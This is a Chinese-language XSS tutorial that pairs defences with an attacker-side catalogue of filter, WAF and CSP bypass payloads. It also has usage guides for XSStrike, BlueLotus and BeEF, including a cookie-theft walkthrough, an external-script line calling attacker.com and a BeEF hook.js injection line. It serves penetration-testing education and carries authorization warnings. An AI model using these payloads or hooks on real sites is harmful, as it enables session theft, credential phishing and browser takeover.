对于特定格式的输入(如邮件地址、数字 ID),使用白名单正则验证。对于富文本(如博客评论),使用安全解析库(而非自己写正则)。
推荐库:
-
HTML Purifier (PHP)
-
DOMPurify (JavaScript)
-
Jsoup (Java)
-
Sanitize (Ruby)
示例(DOMPurify):
var clean = DOMPurify.sanitize(dirtyHtml, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], ALLOWED_ATTR: ['href'] });
4. Cookie 安全属性
-
HttpOnly:禁止 JavaScript 读取 Cookie(防止窃取)。 -
Secure:仅通过 HTTPS 传输。 -
SameSite=Strict或Lax:限制跨站请求携带 Cookie,可缓解部分 XSS+CSRF 组合攻击。
5. 使用安全的 API 避免 DOM XSS
危险(禁止使用):
element.innerHTML = userInput; element.outerHTML = userInput; document.write(userInput); eval(userInput); setTimeout(userInput, 0);
安全替代:
element.textContent = userInput; // 纯文本,不解析HTML element.innerText = userInput; // 同上 element.setAttribute('data-xxx', userInput); // 属性值会自动转义(但注意危险属性如 href)
6. 框架自带防护
-
React :默认转义所有动态内容(除非使用
dangerouslySetInnerHTML)。 -
Angular :默认转义,且内置消毒剂(
DomSanitizer)。 -
Vue :双花括号
{``{ }}转义;v-html危险。 -
jQuery :
.text()安全,.html()危险。
7. 其他辅助措施
-
X-XSS-Protection (已废弃但部分浏览器仍支持):
X-XSS-Protection: 1; mode=block。 -
子资源完整性(SRI):防止 CDN 上的脚本被篡改。
-
定期安全扫描(使用 Burp、XSStrike 等工具)。
二、XSS 绕过技术(攻击者视角)
防御措施总是有漏洞可寻,以下是常见的绕过方法。仅用于渗透测试或 CTF 比赛,严禁非法使用。
1. 绕过输出编码
1.1 利用未编码的上下文
即使使用了 htmlspecialchars()(默认只编码 <>&"'),以下情况仍然危险:
<!-- 在 script 标签内部,需要 JS 转义而非 HTML 转义 --> <script> var msg = '<?php echo htmlspecialchars($user); ?>'; // 若 $user = '; alert(1); //' 会闭合字符串 </script>
防御:对 JS 字符串使用 json_encode() 或 addslashes()。
1.2 利用 UTF-7 编码(已过时,但旧浏览器可能生效)
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
浏览器若错误解析为 UTF-7,则执行。现代浏览器默认 UTF-8,基本无效。
1.3 利用十六进制/Unicode 绕过检查
如果后端过滤了 <script> 但未递归解码,可以:
<script>alert(1)</script>
后端看到 i 不会匹配,但浏览器解析成字母。
2. 绕过标签/事件黑名单
很多防御只过滤 <script> 标签,但存在大量其他触发点。
2.1 使用 <img> 或 <svg>
<img src=x οnerrοr=alert(1)> <svg οnlοad=alert(1)>
2.2 使用其他标签及其事件
| 标签 | 事件 | 示例 |
|---|---|---|
<body> |
onload, onpageshow |
<body onload=alert(1)> |
<iframe> |
onload |
<iframe onload=alert(1)> |
<input> |
onfocus + autofocus |
<input onfocus=alert(1) autofocus> |
<details> |
ontoggle |
<details ontoggle=alert(1) open> |
<select> |
onchange |
<select onchange=alert(1)><option>a |
<marquee> |
onstart |
<marquee onstart=alert(1)> |
<video> / <audio> |
onerror |
<video src=x onerror=alert(1)> |
2.3 使用 CSS 表达式(仅 IE 旧版)
<div style="width:expression(alert(1))">
但现代浏览器不支持。
3. 绕过基于关键字的过滤(WAF)
3.1 大小写混写
<ScRiPt>alert(1)</sCrIpT>
3.2 双写关键字(如果过滤器只删除一次)
<scr<script>ipt>alert(1)</scr</script>ipt>
删除后剩下 <script>alert(1)</script>。
3.3 使用注释干扰
<script>/*test*/alert(1)/*test*/</script>
或
<script>alert(1)//</script>
3.4 利用换行/回车/制表符
<img src=x οnerrοr=alert(1)>
3.5 使用 HTML5 新标签
<video><source οnerrοr=alert(1)>
3.6 利用 javascript: 伪协议(需要用户交互)
<a href="javascript:alert(1)">click</a> <iframe src="javascript:alert(1)">
4. 绕过长度限制
当输入框有长度限制(如 10 字符),可以:
-
修改前端
maxlength(最简单)。 -
使用短 payload:
-
<svg/onload=alert(1)>(22 字符) -
<body/onload=alert(1)>(23 字符) -
<q/oncut=alert(1)>(20 字符)
-
-
加载外部脚本:
<script src="//attacker.com/x.js"></script>
5. 绕过 CSP
CSP 严格时,不能执行内联脚本,但仍有绕过可能:
-
利用现有白名单域名的 JSONP 接口:
<script src="https://trusted.com/api?callback=alert(1)"></script> -
利用
base-uri未限制 :修改<base>标签,使相对路径的脚本指向攻击者服务器。 -
利用
link预加载:在某些浏览器可将内容注入到不安全上下文。 -
利用
object或embed:如果object-src未严格限制,可嵌入恶意 Flash。 -
利用 AngularJS 模板注入 (如果页面使用 AngularJS 1.x 且 CSP 未限制
unsafe-eval):<div ng-app>{{constructor.constructor('alert(1)')()}}</div> -
利用
script-src中的'unsafe-inline':如果策略允许内联脚本,则直接注入。
6. 绕过 HttpOnly 窃取 Cookie
HttpOnly 无法通过 document.cookie 读取,但可以:
-
利用 CSRF + XSS:通过 XSS 发起请求,让浏览器自动携带 Cookie 执行恶意操作(如修改密码)。
-
窃取页面内的其他敏感信息:如 CSRF Token、API 密钥、用户资料。
-
利用浏览器漏洞(极少见)。
7. DOM XSS 特殊绕过
-
使用
location.hash:服务器日志不会记录#后内容,WAF 也看不到。 -
利用
document.referrer:构造恶意页面,设置document.referrer。 -
利用
window.name:攻击者用window.name传递 payload,不依赖 URL。
三、防御与绕过的对抗演进(示例)
| 防御 | 绕过 | 再次防御 |
|---|---|---|
过滤 <script> |
使用 <img onerror> |
过滤事件属性(on\w+) |
过滤 on\w+ |
使用 <svg><script> |
转义 < 为 < |
| HTML 实体编码 | 在 script 标签内闭合引号 |
对 script 内容进行 JS 转义 |
| CSP 禁止内联脚本 | 加载外部 JSONP 接口 | 限制 script-src 白名单 |
限制 document.cookie |
窃取页面 token | 使用前端 token 有效期短+后台验证 |
四、测试建议与工具
手动测试步骤
-
注入最简单的
<script>alert(1)</script>,观察是否执行。 -
如果失败,尝试
'>闭合上下文,或使用<img src=x onerror=alert(1)>。 -
查看页面源码,定位输出位置(HTML 标签内、属性内、JS 内)。
-
根据上下文选择合适的 payload。
-
尝试大小写、双写、编码等混淆。
自动化工具
-
XSStrike:强大的 XSS 扫描 + 绕过 payload 生成。
-
Burp Suite Intruder:使用 XSS payload 字典模糊测试。
-
dalfox:快速 XSS 扫描。
-
XSS payload 生成器 :如
xss-cheat-sheet项目。
五、总结
防御方核心原则:
-
输出编码(根据上下文)
-
CSP 严格限制
-
使用安全的 DOM API
-
不依赖黑名单过滤
攻击方核心思路:
-
寻找防御的"灰色地带"(未被转义的位置、允许的标签/事件)
-
利用浏览器解析与后端过滤的差异
-
绕过输入长度、关键字、编码处理
合法边界:所有绕过技术仅可用于自己拥有授权的系统或本地测试环境。
六、XSS-XSSstrike
XSStrike 是一款基于上下文分析的下一代 XSS 扫描工具,通过智能解析而非盲目注入来"理解"漏洞,大幅降低误报率,官方宣称"零误报 "。它专为高对抗环境设计,内置了30 余种 WAF 指纹库及自动绕过功能,善于发现 DOM 型 XSS 和需要多层跳转的"盲打"漏洞,还支持并发爬虫和多种编码变形。
1、核心优势
| 特性 | 描述 |
|---|---|
| 智能上下文分析 | 不是盲目注入Payload,而是分析前端代码结构,识别HTML/JS上下文,动态生成精准Payload,大幅降低误报率 |
| WAF检测与绕过 | 具备WAF指纹识别与绕过引擎,能自适应选择变形策略穿透防御 |
| DOM XSS深度扫描 | 不依赖请求响应,而是模拟浏览器解析JavaScript,从代码执行流中挖掘漏洞 |
| 盲注检测 | 支持在爬取过程中自动向表单注入盲测Payload |
| 数据驱动 | 通过解析器确保生成Payload精准有效 |
2、核心架构解析
XSStrike 的威力建立在其精心设计的四层架构之上:

代码结构解析
| 模块 | 路径 | 核心职责 |
|---|---|---|
| Core 基础设施 | core/config.py, core/log.py |
管理全局变量、HTTP请求统一封装、结果日志记录 |
| Parser 解析引擎 | core/htmlParser.py, core/jsContexter.py |
识别响应中Payload反射位置、提取所有输入向量 |
| 生成与测试引擎 | core/generator.py, core/fuzzer.py |
核心智能Payload生成器与模糊测试模块 |
| Photon 爬虫 | core/photon.py |
多线程网页爬取、表单发现与重复处理 |
| 模式控制器 | modes/ |
调度四种工作模式(扫描/爬虫/暴力破解/模糊测试) |
3、详细安装指南
环境要求
-
操作系统:Linux, Windows 7+, macOS, Termux
-
Python 版本:3.4 或更高版本
标准安装步骤
# 1. 克隆官方仓库 git clone https://github.com/s0md3v/XSStrike.git # 2. 进入项目目录并安装依赖 cd XSStrike pip install -r requirements.txt # 3. 验证安装(显示帮助信息即为成功) python xsstrike.py -h
Kali Linux 快捷方式
# 直接下载 .deb 包安装 wget https://github.com/s0md3v/XSStrike/releases/download/3.1.6/xsstrike_3.1.6_all.deb dpkg -i xsstrike_3.1.6_all.deb
常见安装问题
-
ModuleNotFoundError: No module named fuzzywuzzy:
pip3 install fuzzywuzzy python-Levenshtein -
Python版本不匹配 :项目根目录有
python3shebang,务必用python3 xsstrike.py执行,而非python。
4、命令行接口与操作模式
全部参数一览
| 分类 | 参数 | 功能说明 |
|---|---|---|
| 目标指定 | -u / --url |
指定目标 URL |
--data |
POST 请求数据 | |
--seeds |
从文件批量加载 URL | |
--path |
在 URL 路径中注入 Payload | |
| 模式选择 | --crawl |
启用爬虫模式 |
--fuzzer |
启用单次模糊测试模式 | |
--file / -f |
从文件加载 Payload 进行暴力破解 | |
| 配置调优 | --level / -l |
设置爬取深度(默认 2) |
--threads / -t |
设置并发线程数 | |
--delay / -d |
请求延迟间隔(秒) | |
| 高级功能 | --proxy |
使用代理服务器 |
--headers |
添加自定义 HTTP 头 | |
--encode / -e |
对 Payload 进行编码 | |
--json |
将 POST 数据视为 JSON 格式 | |
--blind |
在爬取过程中注入盲 XSS Payload | |
--skip-dom |
跳过 DOM 型 XSS 检测 | |
| 日志调试 | --console-log-level |
控制台日志详细程度 |
--log-file |
指定日志文件路径 |
四种核心工作模式
-
扫描模式 (Default):最全面的核心模式,完整执行注入探测流程。
-
爬虫模式 (
--crawl) :基于 Photon 引擎 自动遍历站点,支持智能去重和多级深度设置。 -
暴力破解模式 (
-f) :配合--fuzzer使用,从外部文件注入海量 Payload。 -
单次模糊测试 (
--fuzzer):不依赖预设 Payload,通过动态生成异常数据观察页面反馈,发现隐藏漏洞。
常用命令速查表
| 功能场景 | 命令示例 |
|---|---|
| GET 请求扫描 | python xsstrike.py -u "http://example.com/search.php?q=query" |
| POST 请求扫描 | python xsstrike.py -u "http://example.com/login" --data "user=admin&pass=123" |
| JSON 数据扫描 | python xsstrike.py -u "http://api.com/submit" --data '{"name":"test"}' --json |
| 模拟浏览器请求 | python xsstrike.py -u "http://target.com/page" --headers "User-Agent: Mozilla/5.0" --proxy "http://127.0.0.1:8080" |
| 批量 URL 扫描 | python xsstrike.py --seeds urls.txt |
| 路径组件注入 | python xsstrike.py -u "http://example.com/search/form/query" --path |
| 自定义 Payload | python xsstrike.py -u "http://example.com/page?q=query" -f /path/to/payloads.txt |
| 启用爬虫 | python xsstrike.py -u "http://example.com" --crawl -l 3 --threads 5 |
| 盲 XSS 检测 | python xsstrike.py -u "http://example.com/login" --data "user=admin" --blind |
| 静默扫描模式 | python xsstrike.py -u "http://target.com" --silent |
| 结果导出 | python xsstrike.py -u "http://target.com" --output result.json |
结果输出
找到漏洞后,命令窗口会及时输出发现的信息,包括:
-
具体发现漏洞的 URL、受影响的参数
-
推荐的验证 Payload(如
<script>alert(1)</script>或<img src=x onerror=alert(1)>) -
Efficiency(效率)和 Confidence(置信度)评分

5、核心技术与检测流程
智能检测工作流
与传统工具不同,XSStrike 使用解析器 分析响应,然后通过与模糊引擎集成的上下文分析来制作保证工作的有效负载。

-
无特征探测 :发出携带特殊检测标记(如
d3v)的请求,不直接使用<script>等敏感词,避免触发早期拦截。 -
上下文感知生成器 :核心模块
core/generator.py根据上下文,在<script>标签内、HTML 属性或纯文本区等不同位置,生成绝对可执行 Payload。 -
结果确认 :通过浏览器引擎渲染最终 Payload,确保零误报(扫描单个页面时使用浏览器引擎验证)。
6、WAF 绕过机制
WAF 指纹识别
XSStrike 通过分析响应码、页面内容变化及过滤模式,自动识别 WAF 类型(如 Cloudflare, ModSecurity)。
内置 Bypass 策略
-
标签语法替换 :使用
<svg>、<details>等冷门标签替代<script>。 -
特殊符号干扰 :插入
%0a(换行)、%0d(回车)、制表符等,利用 WAF 和浏览器解析逻辑差异绕过。 -
垃圾数据溢出:向请求中填充大量无用数据,使 WAF 因处理过载而放过真实 Payload。
-
编码变形 :通过
--encode base64参数,对 Payload 进行多重编码。 -
提交方式更改:尝试将 GET 参数转为 POST Body 提交,或插入 Cookie 中。
Tamper 脚本机制
用户可编写自定义 Tamper 脚本对 Payload 进行编码混淆,配置位于 plugins/ 目录。执行时使用 --tamper 参数调用,例如:
python xsstrike.py -u "http://target.com/search?q=test" --tamper "base64,uppercase"
7、自定义 Payload 实现
核心文件:db/definitions.json
该文件定义了 XSStrike 的 Payload 库,结构如下:
{ "payloads": { "HTML": ["<svg/οnlοad=alert(1)>", "<img src=x οnerrοr=alert(1)>"], "JavaScript": ["';alert(1);//", "\"+alert(1)+\""], "DOM": ["javascript:alert(1)"] } }
添加业务特定 Payload,如金融系统可用 "><svg/onload=alert(document.cookie)>。
自定义模块扩展
如需深度定制,可编辑 core/generator.py 的逻辑算法,或创建第三方 Hook 插件注入 plugins/ 目录。
盲注 Payload 配置
盲注 Payload 通过 core/config.py 中的 BLIND_PAYLOADS 配置列表注入到每个 HTML 表单中。
8、实战场景与最佳实践
场景一:反射型 XSS(搜索框)
python xsstrike.py -u "https://shop.com/search?query=test" --fuzzer
通过模糊测试引擎寻找反射点,自动生成闭合引号的 Payload。
场景二:DOM 型 XSS(前端框架)
python xsstrike.py -u "https://target.com" --dom
分析 URL Hash、document.write 及 Sink 函数,挖掘客户端漏洞。
场景三:存储型 XSS(盲打)
python xsstrike.py -u "http://example.com" --crawl --blind
爬取网站并注入盲测 Payload,通过反连平台检测存储型漏洞。
最佳实践清单
-
循序渐进测试 :先进行轻量级单 URL 扫描,确认可行后启用
--crawl全面评估。 -
合法授权原则:严格遵守法律法规,测试需经授权。
-
结果验证确认:对自动发现的漏洞进行手工 PoC 验证。
-
定期更新维护:定期拉取最新代码获取 WAF 指纹和 Payload 更新。
9、常见故障排除
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| 扫描长时间无输出 | 网络超时或目标响应慢 | 设置 --timeout 30 延长超时,或使用 --proxy 调试 |
| 误报过多 | 目标返回动态内容 | 在 core/config.py 调高 confidence 阈值 |
| WAF 拦截严重 | 请求特征过于明显 | 使用 --encode base64 并配合 --tamper 链式混淆 |
| 爬虫无法抓取链接 | 页面依赖 JS 动态渲染 | XSStrike 默认不执行 JS,可考虑配合 Selenium 扩展插件 |
七、XSS-BlueLotusXSS
BlueLotus(蓝莲花)是一个专为XSS漏洞验证打造的轻量级数据接收平台。与BeEF等复杂的浏览器利用框架不同,BlueLotus的核心目标非常纯粹:当一个XSS漏洞被触发时,它能可靠、详尽地接收并记录攻击返回的数据。
它的设计哲学是极致的"简约",这使得它在特定场景下极具优势。
-
极致简约的设计哲学 :它采用无数据库设计,零依赖,非常适合初学者或需要快速部署的场景。
-
"接收器"而非"利用框架" :BlueLotus专注于"接收",即等待浏览器自动回传数据。而BeEF则更主动,一旦"钩住"(Hook)浏览器,就可以执行大量复杂指令,如内网探测、键盘记录等

1、核心功能
| 功能模块 | 主要作用 |
|---|---|
| 数据接收与记录 | 平台能够完整记录XSS攻击触发的所有相关信息,包括发送的GET/POST数据、请求头、Cookie以及受害者的IP地址和客户端信息等。 |
| XSS载荷(Payload)管理 | 平台内置了多种常用的公共JS模板,方便快速生成攻击Payload。此外,你也可以在"我的JS"模块中自由创建、编辑和保存自己的JS文件,平台提供了格式化和压缩等代码管理功能。 |
| 多用户与安全机制 | 平台具备多用户管理能力。它还内置了多种自身安全防护机制,包括: |
| - 安全校验 :登录时采用挑战应答式 校验,并支持IP和User-Agent绑定,防止会话被简单窃取。 | |
| - 密码保护 :支持密码输错5次封IP的防爆破策略,并提供了误封后的手动解封方法。 | |
| - 数据加密 :支持对接收的记录、JS说明文件等进行加密存储,默认加密方式为RC4算法,以保护敏感数据。 | |
| - 可选的邮件提醒:支持配置SMTP,在接收到新消息时通过邮件进行通知。 | |
| - 实时通知 :除了邮件通知,平台还引入了WebSocket方式,可以实时推送数据更新。 |
2、安装与部署
蓝莲花平台使用 PHP 编写,无需 MySQL 等数据库支持,部署非常轻量。
-
环境要求:一个能运行 PHP 的 Web 服务器即可,例如 Apache 或 Nginx。
详细安装步骤
1. 获取源码 (下载)
项目源码托管在 GitHub 上,作者为 firesunCN。这是一个轻量级无SQL版本的平台,仅供学习研究使用。
-
官方唯一推荐下载地址:
-
GitHub主仓库 :
https://github.com/firesunCN/BlueLotus_XSSReceiver -
Gitee镜像仓库 :
https://gitee.com/evlon/BlueLotus_XSSReceiver
-
2. 配置Web环境
下载并解压好源码后,接着配置环境。
-
配置Web服务 :安装Apache 为Web服务器,并配置PHP环境来运行程序。
-
设置目录权限:为确保平台能正常读写文件,需要给特定文件夹写权限。
# 进入源码根目录 cd /path/to/BlueLotus_XSSReceiver # 授予当前目录及其所有子目录写权限 sudo chmod 777 -R ./
3. 运行安装向导
在浏览器中访问 http://你的服务器地址/BlueLotus_XSSReceiver-master/install.php。
不要点安装按钮,按照页面提示操作

访问http://你的服务器地址/BlueLotus_XSSReceiver-master/login.php
4. 登录后台
安装成功后,通过 http://你的服务器地址/BlueLotus_XSSReceiver-master/admin.php 访问后台。
密码:blueLotus
填写密码登录进去

进入下图页面表示安装成功

3、攻击视角:以窃取Cookie为例
-
创建JS脚本 :登录平台后台,进入"我的JS"模块,创建一个新的JS文件。在"公共模版"中选择"default.js"(通常已包含窃取Cookie的代码),然后点击"插入模版"并保存。
-
生成攻击载荷 :在JS管理列表中,找到刚才创建的脚本,点击"生成payload "。平台会提供一个
<script>标签的链接,例如:<script src="http://你的平台地址/myjs/你的脚本名.js"></script>这个链接就是攻击载荷。
-
注入载荷 :在目标网站存在XSS漏洞的地方(如留言板、个人签名等),注入该攻击载荷。
-
等待触发:当有用户访问了包含该载荷的页面时,其浏览器会自动请求并执行你平台上的JS脚本。脚本会将用户的Cookie等信息发送到你的蓝莲花平台。
-
窃取成功:回到蓝莲花平台,在"接收数据"面板中,你将看到收到的数据,其中包含了受害者的Cookie。
4、防御视角:蓝莲花的利用与对抗
对防守方来说,蓝莲花这类平台也提供了重要的检测和分析价值。安全研究人员可以利用它来模拟攻击,从而验证漏洞并了解攻击者的行为模式。捕获的攻击数据会被完整记录,包含IP、时间戳、HTTP头等,便于进行溯源分析。
当然,蓝莲花也支持HTTPS回传和数据加密存储,确保捕获的数据在传输和存储过程中的机密性与完整性。
5、横向对比
在 XSS 测试与利用领域,蓝莲花(BlueLotus)通常与 BeEF 和 XSStrike 一起被提及。以下是它们的简单对比:
| 工具 | 主要定位 | 类型 | 优点 | 缺点/适用场景 |
|---|---|---|---|---|
| BlueLotus | XSS 数据接收与管理平台 | 管理平台 | - 部署简单 ,PHP环境即用 - 功能纯粹 ,专注于数据接收 - 轻量级,资源占用少 | 交互和深入控制能力较弱 |
| BeEF | 浏览器漏洞利用框架 | 综合框架 | - 功能强大 ,交互和控制能力强 - 模块丰富,可进行钓鱼、内网穿透等深入操作 | 部署和配置相对复杂 |
| XSStrike | XSS 漏洞检测与扫描器 | 扫描器 | - 智能检测 ,误报率低 - 专注于漏洞发现而非利用 | 不具备数据接收和持续控制的能力 |
八、XSS-BEEF
BeEF(Browser Exploitation Framework,浏览器利用框架)是一款专业的浏览器渗透测试工具。与专注于被动接收数据的XSS平台不同,BeEF的核心在于提供了一个强大的命令和控制面板,能够对已经"上钩"的浏览器进行持续的、双向的实时交互与控制。
-
核心定义 :一款浏览器渗透测试框架,重点是利用浏览器端的漏洞。
-
运作模式 :通过XSS等漏洞将
hook.js注入目标浏览器("上钩"),并与BeEF服务器建立持久的通信通道。 -
主要目的:评估浏览器的安全性,模拟客户端攻击,进行社会工程学测试。
-
技术栈 :由Ruby语言开发,提供Web界面进行操作。

1、BeEF vs. BlueLotus:核心区别
| 对比维度 | BeEF (BeEF) | BlueLotus |
|---|---|---|
| 核心定位 | 交互式控制 。主动控制、深度渗透,是一个强大的"武器库" | 被动式接收 。主要用于被动接收Cookie等数据,是纯粹的"接收器" |
| 交互与控制 | 强。提供双向通信通道,可实时向浏览器下发指令 | 弱。功能主要是单向数据回传 |
| 功能模块 | 极其丰富。内置超200个攻击模块,涵盖信息收集、社会工程学、内网渗透等 | 单一。核心功能是数据接收、存储和展示 |
| 攻击持续性 | 高。通过轮询机制维持对浏览器的持久化控制 | 低。通常只在触发瞬间回传数据 |
| 应用场景 | 深度渗透测试。侧重于真实场景下的攻击链路模拟 | 漏洞验证。侧重于快速证明漏洞危害,收集存在漏洞的证据 |
| 上手难度 | 较高。需要理解浏览器安全、XSS原理及各模块功能,功能复杂 | 简单。配置简单,功能单一明确,易于部署 |
简单来说,BlueLotus像是设置了一个"陷阱"来捕捉猎物,而BeEF则更像是在猎物身上安装了一个永久的"监控和遥控装置"。
2、工作原理
BeEF的核心在于一个永久的"钩子"(Hook)。

3、核心功能与应用
信息收集与持久化
-
信息收集 (Details & Logs) :获取"上钩"浏览器的操作系统版本、插件列表、Cookie、当前页面 等信息。还可利用
Logs功能记录用户在网页上的点击和键盘输入。 -
会话劫持 (Get Cookie):窃取会话Cookie后,利用工具(如Postman)直接重放请求,在未登录状态下侵入账户,演示无缝身份接管。
浏览器控制与操作 (Browser)
-
网页重定向 (Redirect Browser):强制浏览器跳转到钓鱼页面,进行进一步的攻击。
-
浏览器伪装 (Fake Notification Bar):在页面上伪造系统通知栏,诱导用户点击,可能导致反弹shell等严重后果。
-
引导下载 (Social Engineering):强制浏览器后台静默下载恶意文件,用于进一步的木马植入。
社会工程学 (Social Engineering)
-
漂亮的窃取 (Pretty Theft):在目标页面弹出伪造的登录框,诱导受害者输入账号密码等敏感信息,实现凭证窃取。
-
定制钓鱼 (Custom Phishing):在真实网页上覆盖伪造内容,用于针对性钓鱼或特定目的(如虚假中奖信息)。
内网探测与横向移动 (Network)
-
内网存活主机发现 (Ping Sweep):调用被控制浏览器的网络功能,探测其所在内网中的其他存活主机IP地址。
-
内网端口扫描 (Port Scanner):扫描内网指定主机的端口开放情况,为后续的进一步攻击提供信息。
横向工具联动
- 结合Metasploit:将BeEF作为攻击跳板,向其传递Metasploit的payload,实现从浏览器漏洞到系统层的深入利用。
4、模块状态说明
在BeEF的Web面板中执行命令时,会通过颜色来标识攻击模块的状态:
-
绿色 : 功能有效,且执行过程中用户不可见。
-
橙色 : 功能有效,但执行过程中可能会被用户察觉。
-
灰色 : 功能在当前环境下未经验证,可能有效。
-
红色 : 功能对当前浏览器无效。
5、快速安装与使用
-
安装
-
Kali Linux :
sudo apt update && sudo apt install beef-xss -y。 -
其他Linux :
git clone https://github.com/beefproject/beef.git。
-
-
启动 :首次启动 需要设置密码(默认用户名
beef)。-
终端启动 :
sudo beef-xss。 -
服务管理 :
sudo systemctl [start\|stop\|restart] beef-xss.service。
-
-
验证
-
登录Web UI:
http://<服务器IP>:3000/ui/panel(Kali默认是127.0.0.1)。 -
获取Hook脚本:
<script src="http://<服务器IP>:3000/hook.js"></script>。
-
可以修改/usr/share/beef-xss/config.yaml文件中的host,将IP地址从0.0.0.0改为Kali机器的实际IP,使BeEF可被外部机器访问。

运行之后就可以进行监听等一系列操作

6、注意事项
-
操作规范:BeEF功能强大,使用前必须获得授权。所有操作需严格遵守法律法规及行业道德标准。
-
功能限制 :部分模块因现代浏览器安全策略增强可能受限。执行
Hook Domain等命令时,目标需与BeEF在同一网络或路由可达。 -
学习指引:首次使用时,除DVWA外,BeEF自带的演示页面也是一个很好的学习入口。
BeEF的强大之处在于它能将简单的XSS漏洞扩展为对整个浏览器的持续控制,是理解客户端安全与模拟高级攻击链路的关键工具。建议在DVWA等本地靶场环境中进行实践,以掌握其核心使用方法。